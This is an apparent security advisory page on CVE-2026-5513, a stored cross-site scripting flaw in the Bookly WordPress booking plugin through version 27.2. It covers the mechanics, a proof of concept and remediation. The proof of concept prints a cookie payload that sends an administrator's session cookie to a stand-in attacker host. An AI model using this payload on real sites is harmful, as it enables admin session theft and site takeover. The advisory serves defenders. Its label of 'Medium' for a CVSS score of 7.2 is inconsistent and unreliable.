Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

1451+ Articles
151+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-5513: Bookly WordPress Plugin Stored XSS via Cookie
CVE-2026-5513: Bookly WordPress Plugin Stored XSS via Cookie
SECURITYMEDIUMCVE-2026-5513

CVE-2026-5513: Bookly WordPress Plugin Stored XSS via Cookie

The Bookly scheduling plugin for WordPress contains a stored cross-site scripting vulnerability in versions up to 27.2, allowing unauthenticated attackers...

Dylan H.

Security Team

June 14, 2026
3 min read

Affected Products

  • Bookly WordPress Plugin <= 27.2

Overview

A stored cross-site scripting (XSS) vulnerability has been identified in the Bookly — Online Scheduling and Appointment Booking System plugin for WordPress. Tracked as CVE-2026-5513 with a CVSS score of 7.2 (Medium), the flaw affects all versions up to and including 27.2.

The vulnerability exists due to insufficient input sanitization on the bookly-customer-full-name cookie value and inadequate output escaping when that value is later rendered in the admin interface.

Technical Details

FieldValue
CVE IDCVE-2026-5513
CVSS Score7.2 (Medium)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWECWE-79 (Improper Neutralization of Input During Web Page Generation)
Affected SoftwareBookly WordPress Plugin
Affected Versions27.2 and earlier
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
PublishedJune 13, 2026

Vulnerability Mechanics

The Bookly plugin stores user-supplied values — including a customer full name — inside the bookly-customer-full-name cookie during the booking process. When an administrator subsequently views booking records or customer lists in the WordPress admin dashboard, the plugin renders this cookie-derived value without proper escaping.

An unauthenticated attacker can craft a malicious HTTP request that sets this cookie to contain JavaScript payload. When an admin user views the affected page, the script executes in the context of the admin session, enabling:

  • Session hijacking — exfiltrating admin session cookies
  • Credential theft — injecting fake login forms
  • Backdoor installation — redirecting admin to attacker-controlled pages
  • Site defacement — modifying page content dynamically

Affected Components

  • bookly-customer-full-name cookie parameter (unauthenticated input)
  • Admin-side rendering of customer booking data

Proof of Concept

An attacker can trigger the vulnerability by submitting a booking request with a crafted cookie:

Cookie: bookly-customer-full-name=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>

When the WordPress administrator navigates to the Bookly customer management panel, the injected script executes in their browser session.

Remediation

Immediate Actions

  1. Update Bookly to a patched version above 27.2 as soon as the vendor releases a fix
  2. Monitor WordPress admin access logs for unusual activity
  3. Review existing booking records for suspicious customer name entries
  4. Enable a Web Application Firewall (WAF) rule to block XSS payloads in cookie headers

Mitigation (if patch unavailable)

  • Restrict access to the WordPress admin panel by IP allowlist
  • Implement Content Security Policy (CSP) headers to limit script execution
  • Use a WAF to sanitize incoming cookie values

WordPress Site Owners: Next Steps

Sites running Bookly for appointment management should treat this as a priority patch. The unauthenticated attack surface (no login required to exploit) combined with admin-side impact makes this a significant risk for any site accepting public bookings.

Check the Bookly changelog and WordPress Plugin Directory for the patched release, or temporarily disable the plugin until an update is available.

References

  • NVD Advisory — CVE-2026-5513
  • WordPress Plugin Directory — Bookly
  • OWASP — Stored Cross-Site Scripting
#CVE#WordPress#XSS#Vulnerability#NVD

Related Articles

CVE-2026-5324: WordPress Brizy Page Builder Unauthenticated

The Brizy Page Builder plugin for WordPress contains a critical unauthenticated Stored Cross-Site Scripting flaw in versions up to 2.8.11, enabling...

3 min read

CVE-2026-44990: sanitize-html XMP Element XSS Bypass (CVSS 9.3)

sanitize-html versions prior to 2.17.4 allow attacker-controlled content inside a disallowed xmp element to render as live HTML, enabling stored XSS.

4 min read

CVE-2026-47365: WordPress Toolkit Argument Injection in cPanel & WHM

A critical CVSS 9.9 argument injection vulnerability in WordPress Toolkit before 6.11.0 allows remote authenticated users to bypass cross-tenant...

4 min read
Back to all Security Alerts